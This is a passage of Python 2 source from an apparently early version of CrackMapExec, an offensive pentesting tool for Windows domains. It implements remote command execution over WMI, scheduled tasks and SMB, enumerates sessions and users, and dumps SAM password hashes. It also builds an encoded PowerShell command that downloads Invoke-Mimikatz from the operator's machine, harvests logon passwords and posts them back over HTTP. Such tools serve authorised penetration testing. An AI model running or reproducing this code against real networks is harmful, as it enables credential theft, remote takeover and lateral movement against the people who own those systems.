def send_data(self, data):
|
|
self.execute_remote(data)
|
|
result = self.__outputBuffer
|
|
self.__outputBuffer = ''
|
|
return result
|
|
|
|
class WMIEXEC:
|
|
def __init__(self, command = '', username = '', password = '', domain = '', hashes = '', share = None, noOutput=False):
|
|
self.__command = command
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__domain = domain
|
|
self.__lmhash = ''
|
|
self.__nthash = ''
|
|
self.__aesKey = None
|
|
self.__share = share
|
|
self.__noOutput = noOutput
|
|
self.__doKerberos = False
|
|
self.__mode = "SHARE"
|
|
if hashes:
|
|
self.__lmhash, self.__nthash = hashes.split(':')
|
|
|
|
def run(self, addr, smbConnection):
|
|
result = ''
|
|
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
|
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
|
iWbemLevel1Login.RemRelease()
|
|
|
|
win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
|
|
|
try:
|
|
self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection, self.__mode, self.__noOutput)
|
|
result = self.shell.send_data(self.__command)
|
|
except SessionError as e:
|
|
logging.info('Starting SMB Server')
|
|
smb_server = SMBServer()
|
|
smb_server.daemon = True
|
|
smb_server.start()
|
|
self.__mode = 'SERVER'
|
|
self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection, self.__mode, self.__noOutput)
|
|
result = self.shell.send_data(self.__command)
|
|
smb_server.stop()
|
|
|
|
dcom.disconnect()
|
|
|
|
return result
|
|
|
|
class RPCENUM():
|
|
def __init__(self, username, password, domain='', hashes=None):
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__domain = domain
|
|
self.__lmhash = ''
|
|
self.__nthash = ''
|
|
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
|
|
if hashes:
|
|
self.__lmhash, self.__nthash = hashes.split(':')
|
|
|
|
def connect(self, host, service):
|
|
|
|
if service == 'wkssvc':
|
|
stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(host)
|
|
elif service == 'srvsvc':
|
|
stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(host)
|
|
|
|
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
|
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
|
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
|
|
if service == 'wkssvc':
|
|
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.__ts)
|
|
elif service == 'srvsvc':
|
|
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
|
|
|
|
return dce, rpctransport
|
|
|
|
def enum_logged_on_users(self, host):
|
|
dce, rpctransport = self.connect(host, 'wkssvc')
|
|
users_info = {}
|
|
try:
|
|
resp = wkst.hNetrWkstaUserEnum(dce, 1)
|
|
return resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
|
|
except Exception:
|
|
resp = wkst.hNetrWkstaUserEnum(dce, 0)
|
|
return resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer']
|
|
|
|
def enum_sessions(self, host):
|
|
dce, rpctransport = self.connect(host, 'srvsvc')
|
|
session_info = {}
|
|
try:
|
|
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
|
|
return resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
|
|
except Exception:
|
|
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
|
|
return resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
|
|
|
|
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 1)
|
|
#resp.dump()
|
|
|
|
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 2)
|
|
#resp.dump()
|
|
|
|
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
|
|
#resp.dump()
|
|
|
|
def normalize_path(path):
|
|
path = r'{}'.format(path)
|
|
path = ntpath.normpath(path)
|
|
share = path.split('\\')[0]
|
|
if ':' or '$' in share:
|
|
path = path.replace(share, '')
|
|
|
|
return path
|
|
|
|
def _listShares(smb):
|
|
permissions = {}
|
|
root = ntpath.normpath("\\{}".format(PERM_DIR))
|
|
|
|
for share in smb.listShares():
|
|
share_name = str(share['shi1_netname'][:-1])
|
|
permissions[share_name] = "NO ACCESS"
|
|
|
|
try:
|
|
if smb.listPath(share_name, '', args.passwd):
|
|
permissions[share_name] = "READ"
|
|
except:
|
|
pass
|
|
|
|
try:
|
|
if smb.createDirectory(share_name, root):
|
|
smb.deleteDirectory(share_name, root)
|
|
permissions[share_name] = "READ, WRITE"
|
|
except:
|
|
pass
|
|
|
|
return permissions
|
|
|
|
def ps_command(command=None, katz_ip=None):
|
|
if katz_ip:
|
|
command = """
|
|
IEX (New-Object Net.WebClient).DownloadString('http://{addr}/Invoke-Mimikatz.ps1');
|
|
$creds = Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit";
|
|
$request = [System.Net.WebRequest]::Create('http://{addr}');
|
|
$request.Method = "POST";
|
|
$request.ContentType = "application/x-www-form-urlencoded";
|
|
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
|
|
$request.ContentLength = $bytes.Length;
|
|
$requestStream = $request.GetRequestStream();
|
|
$requestStream.Write( $bytes, 0, $bytes.Length );
|
|
$requestStream.Close();
|
|
$request.GetResponse();
|
|
""".format(addr=katz_ip)
|
|
|
|
return b64encode(command.encode('UTF-16LE'))
|
|
|
|
def connect(host):
|
|
try:
|
|
|
|
smb = SMBConnection(host, host, None, args.port)
|
|
try:
|
|
smb.login('' , '')
|
|
except SessionError as e:
|
|
if "STATUS_ACCESS_DENIED" in e.message:
|
|
pass
|
|
|
|
domain = smb.getServerDomain()
|
|
if not domain:
|
|
domain = smb.getServerName()
|
|
|
|
print "[+] {}:{} is running {} (name:{}) (domain:{})".format(host, args.port, smb.getServerOS(), smb.getServerName(), domain)
|
|
|
|
lmhash = ''
|
|
nthash = ''
|
|
if args.hash:
|
|
lmhash, nthash = args.hash.split(':')
|
|
|
|
noOutput = False
|
|
smb.login(args.user, args.passwd, domain, lmhash, nthash)
|
|
|
|
if args.download:
|
|
try:
|
|
out = open(args.download.split('\\')[-1], 'wb')
|
|
smb.getFile(args.share, args.download, out.write)
|
|
except SessionError as e:
|
|
print '[-] {}:{} {}'.format(host, args.port, e)
|
|
|
|
if args.delete:
|
|
try:
|
|
smb.deleteFile(args.share, args.delete)
|
|
except SessionError as e:
|
|
print '[-] {}:{} {}'.format(host, args.port, e)
|
|
|
|
if args.upload:
|
|
try:
|
|
up = open(args.upload[0] , 'rb')
|
|
smb.putFile(args.share, args.upload[1], up.read)
|
|
except SessionError as e:
|
|
print '[-] {}:{} {}'.format(host, args.port, e)
|
|
|
|
if args.list:
|
|
try:
|
|
dir_list = smb.listPath(args.share, args.list + '\\*')
|
|
print "[+] {}:{} Contents of {}:".format(host, args.port, args.list)
|
|
for f in dir_list:
|
|
print "%crw-rw-rw- %10d %s %s" % ('d' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())) ,f.get_longname())
|
|
except SessionError as e:
|
|
print '[-] {}:{} {}'.format(host, args.port, e)
|
|
|
|
if args.enum_sessions:
|
|
rpcenum = RPCENUM(args.user, args.passwd, domain, args.hash)
|
|
sessions = rpcenum.enum_sessions(host)
|
|
print "[+] {}:{} {} Current active sessions:".format(host, args.port, domain)
|
|
for session in sessions:
|
|
for fname in session.fields.keys():
|
|
print fname, session[fname]
|
|
print "\n"
|
|
|
|
if args.enum_lusers:
|
|
rpcenum = RPCENUM(args.user, args.passwd, domain, args.hash)
|
|
lusers = rpcenum.enum_logged_on_users(host)
|
|
print "[+] {}:{} {} Logged on users:".format(host, args.port, domain)
|
|
for luser in lusers:
|
|
for fname in luser.fields.keys():
|
|
print fname, luser[fname]
|
|
print "\n"
|
|
|
|
if args.sam:
|
|
sec_dump = DumpSecrets(host, args.user, args.passwd, domain, args.hash)
|
|
sam_dump = sec_dump.dump(smb)
|
|
print "[+] {}:{} {} Dumping local SAM hashes (uid:rid:lmhash:nthash):".format(host, args.port, domain)
|
|
for sam_hash in sam_dump:
|
|
print sam_hash
|
|
sec_dump.cleanup()
|
|
|
|
if args.enum_users:
|
|
user_dump = SAMRDump("{}/SMB".format(args.port), args.user, args.passwd, domain, args.hash).dump(host)
|
|
print "[+] {}:{} {} {} ( LockoutTries={} LockoutTime={} )".format(host, args.port, domain, user_dump['users'], user_dump['lthresh'], user_dump['lduration'])
|
|
|
|
if args.mimikatz:
|
|
noOutput = True
|
|
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
|
|
args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(ps_command(katz_ip=local_ip))
|
|
|
|
if args.pscommand:
|
|
args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(ps_command(command=args.pscommand))
|
|
|
|
if args.command:
|
|
|
|
if args.execm == 'wmi':
|
|
executer = WMIEXEC(args.command, args.user, args.passwd, domain, args.hash, args.share, noOutput)
|
|
result = executer.run(host, smb)
|
|
if result:
|
|
print '[+] {}:{} {} Executed specified command via WMI:'.format(host, args.port, domain)
|
|
print result
|
|
|
|
elif args.execm == 'atexec':
|
|
atsvc_exec = TSCH_EXEC(args.user, args.passwd, domain, args.hash, args.command)
|
|
atsvc_exec.play(host)
|
|
if not args.mimikatz:
|
|
print '[+] {}:{} {} Executed specified command via ATEXEC:'.format(host, args.port, domain)
|
|
print atsvc_exec.output
|
|
|
|
atsvc_exec.cleanup()
|
|
|
|
elif args.execm == 'smbexec':
|
|
executer = CMDEXEC('{}/SMB'.format(args.port), args.user, args.passwd, domain, args.hash, args.share, args.command)
|
|
result = executer.run(host)
|
|
if not args.mimikatz:
|
|
print '[+] {}:{} {} Executed specified command via SMBEXEC:'.format(host, args.port, domain)
|
|
print result
|
|
|
|
if args.list_shares:
|
|
share_list = _listShares(smb)
|
|
print '[+] {}:{} {} Available shares:'.format(host, args.port, domain)
|
|
print '\tSHARE\t\t\tPermissions'
|
|
print '\t-----\t\t\t-----------'
|
|
for share, perm in share_list.iteritems():
|
|
print '\t{}\t\t\t{}'.format(share, perm)
|
|
|
|
try:
|
|
smb.logoff()
|
|
except:
|
|
pass
|
|
|
|
except SessionError as e:
|
|
print "[-] {}:{} {}".format(host, args.port, e)
|
|
|
|
except DCERPCException as e:
|
|
print "[-] {}:{} DCERPC Error: {}".format(host, args.port, e)
|
|
|
|
except socket.error as e:
|
|
return
|
|
|
|
def concurrency(hosts):
|
|
''' Open all the greenlet threads '''
|
|
try:
|
|
pool = Pool(args.threads)
|
|
jobs = [pool.spawn(connect, str(host)) for host in hosts]
|
|
joinall(jobs)
|
|
except KeyboardInterrupt:
|
|
print "[!] Got CTRL-C! Exiting.."
|
|
sys.exit()
|
|
|
|
if __name__ == '__main__':
|
|
|
|
if os.geteuid() is not 0:
|
|
sys.exit("[-] Run me as r00t!")
|
|
|
|
parser = argparse.ArgumentParser(description=""" CrackMapExec - Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r\n
|
|
Powered by Impacket https://github.com/CoreSecurity/impacket
|
|
|
|
Inspired by: @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
|
|
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
|
|
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec""",
|
|
formatter_class=RawTextHelpFormatter)
|
|
|
|
parser.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed")
|
|
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password")
|
|
parser.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash')
|
|
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
|
|
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default C$)")
|
|
parser.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)")
|
|
parser.add_argument("-t", default=10, type=int, dest="threads", help="Set how many concurrent threads to use")
|
|
parser.add_argument("target", nargs=1, type=str, help="The target range or CIDR identifier")
|
|
|
|
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
|
rgroup.add_argument("--sam", action='store_true', dest='sam', help='Dump SAM hashes from target systems')
|
|
rgroup.add_argument("--mimikatz", action='store_true', dest='mimikatz', help='Run Invoke-Mimikatz on target systems')
|
|
|
|
egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
|
egroup.add_argument("--shares", action="store_true", dest="list_shares", help="List shares")
|
|
egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions')
|
|
egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enumerate users')
|
|
egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
|
|
|
|
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
|
|
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, dest="execm", default="smbexec", help="Method to execute the command (default: smbexec)")
|
|
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
|
|
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
|
|
|
|
bgroup = parser.add_argument_group("Filesystem interaction", "Options for interacting with filesystems")
|
|
bgroup.add_argument("--list", dest='list', metavar='PATH', help='List contents of a directory')
|
|
bgroup.add_argument("--download", dest='download', metavar="PATH", help="Download a file from the remote systems")
|
|
bgroup.add_argument("--upload", nargs=2, dest='upload', metavar=('SRC', 'DST'), help="Upload a file to the remote systems")
|
|
bgroup.add_argument("--delete", dest="delete", metavar="PATH", help="Delete a remote file")
|
|
|
|
args = parser.parse_args()
|
|
|
|
hosts = IPNetwork(args.target[0])
|
|
|
|
args.list = normalize_path(args.list)
|
|
args.download = normalize_path(args.download)
|
|
args.delete = normalize_path(args.delete)
|
|
if args.upload:
|
|
args.upload[1] = normalize_path(args.upload[1])
|
|
|
|
if args.mimikatz:
|
|
print "[*] Press CTRL-C at any time to exit"
|
|
print '[*] Note: This might take some time on large networks! Go grab a redbull!\n'
|
|
server = BaseHTTPServer.HTTPServer(('0.0.0.0', 80), MimikatzServer)
|
|
t = Thread(name='HTTPServer', target=server.serve_forever)
|
|
t.setDaemon(True)
|
|
t.start()
|
|
|
|
concurrency(hosts)
|
|
|
|
if args.mimikatz:
|
|
try:
|
|
while True:
|
|
sleep(1)
|
|
except KeyboardInterrupt:
|
|
sys.exit()
|